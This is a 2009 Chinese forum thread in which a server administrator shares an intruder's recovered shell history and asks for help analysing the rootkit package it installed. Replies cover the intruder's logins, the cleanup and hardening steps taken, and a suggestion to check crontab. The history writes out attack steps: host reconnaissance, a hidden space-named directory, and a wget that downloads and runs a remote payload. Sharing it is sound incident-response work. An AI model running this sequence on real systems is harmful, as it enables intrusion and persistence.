一入侵者的 histroy 文件

Yerba_

w
cat /etc/hosts
passwd
uname -a
ls
cd /tmp
ls
cd /var/tmp
ls
ls -a
mkdir " "
cd " "
ls
wget His_url.hisweb.domain/redone.tar.gz
tar xvf redone.tar.gz
cd redone
ls
./config premiant 31337
./fuck
./run
/sbin/ifconfig -a |grep inet | wc -l
/sbin/ifconfig -a | grep inet

附件中为readon.tar.gz
闯入者操作熟练，但是没有清空 histroy 文件。
mkdir " " 后普通ls 还真看不到
另外可以看到闯入着的常用命令，对于常用的命令 都做了替换， 对于 w uname 改名并设立报警命令
最大的弱点还是还是 系统存在弱密码， 继续加固中 。。。

这个redone 包 大虾们帮忙分析下

[ 本帖最后由 Yerba_ 于 2009-2-25 11:04 编辑 ]

flb_2001

现在系统有异常吗？

Yerba_

暂时没发现什么异常，

last
username    pts/1        acad0581.ipt.aol Mon Feb 23 20:48 - 20:50  (00:01)   
username    pts/0        acad0581.ipt.aol Mon Feb 23 20:30 - 20:37  (00:07)   
username    pts/0        inspire.thecompg Mon Feb 23 20:05 - 20:08  (00:03)   

总共登录的时间不长  最早的可能是 扫描发起的机器？ 然后 修改了密码
再更换到另一个ip登录， 最后一次 时间不长，看起来像是最后测试

那个 redone 的包 大致看了下， 主体是那个proc ， 但是从ps中看到的是   httpd
昨天通过lastlog 看到 不正常登录后
首先通过 ps -ef | grep username 得到 pid kill掉后 一直没特别的现象。
也许当时应该多 trace 仔细分析下，现在包在这里了 供各位分析

已经将 .bash_history 加了 i 附加权限 仔细检查系统不使用的用户
passwd -l 锁定
关闭 /sbin的 一般用户访问 关闭

只爱睡觉

楼主看下你的服务器任务里是不是多出了点什么。。
vi /etc/crontab

69foc8boq

现在怎么样喽？